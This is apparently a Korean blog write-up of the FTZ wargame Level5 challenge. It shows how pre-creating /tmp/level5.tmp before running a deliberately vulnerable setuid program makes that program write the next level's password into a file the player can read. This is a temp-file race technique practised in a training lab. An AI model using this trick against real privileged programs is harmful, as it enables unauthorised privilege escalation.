[FTZ] Level5 ํ’€์ด

์ตœ๋Œ€ 1 ๋ถ„ ์†Œ์š”

๐Ÿ’ก FTZ Level5 ํ’€์ด

๋ฌธ์ œ

๊ณ„์ • : level5/what is your name?

hint

/usr/bin/level5 ํ”„๋กœ๊ทธ๋žจ์€ /tmp ๋””๋ ‰ํ† ๋ฆฌ์—
level5.tmp ๋ผ๋Š” ์ด๋ฆ„์˜ ์ž„์‹œํŒŒ์ผ์„ ์ƒ์„ฑํ•œ๋‹ค.

์ด๋ฅผ ์ด์šฉํ•˜์—ฌ level6์˜ ๊ถŒํ•œ์„ ์–ป์–ด๋ผ.

ํ’€์ด

๋ ˆ์ด์Šค ์ปจ๋””์…˜์„ ์ด์šฉํ•œ ๋ฌธ์ œ ๊ฐ™์€๋ฐ, ๋‚œ์ด๋„๊ฐ€ ๋„ˆ๋ฌด ์‰ฌ์šด ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

์กฐ๊ธˆ ๋” ์–ด๋ ต๊ฒŒ ํ•˜๋ ค๋ฉด level5.tmp ํŒŒ์ผ์ด ๋ฎ์—ฌ์“ฐ์—ฌ์ง€๊ณ  ์‚ญ์ œ๊นŒ์ง€ ๋˜์•ผ ์ƒ๊ฐํ•  ๊ฑฐ๋ฆฌ๊ฐ€ ์žˆ๋Š”๋ฐ, ๋ณธ ๋ฌธ์ œ์—์„œ๋Š” ๋จผ์ € level5.tmpํŒŒ์ผ์„ ๋งŒ๋“ค์–ด ๋†“์œผ๋ฉด ํ•ด๋‹น ํŒŒ์ผ์— ๋ฐ์ดํ„ฐ๋งŒ ์ถ”๊ฐ€ํ•˜๊ณ  ์‚ญ์ œ๋ฅผ ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

[level5@ftz tmp]$ ls
mysql.sock
[level5@ftz tmp]$ touch level5.tmp
[level5@ftz tmp]$ /usr/bin/level5
[level5@ftz tmp]$ ls
level5.tmp  mysql.sock
[level5@ftz tmp]$ cat level5.tmp
next password : what the hell

ํƒœ๊ทธ:

์นดํ…Œ๊ณ ๋ฆฌ:

์—…๋ฐ์ดํŠธ:

๋Œ“๊ธ€๋‚จ๊ธฐ๊ธฐ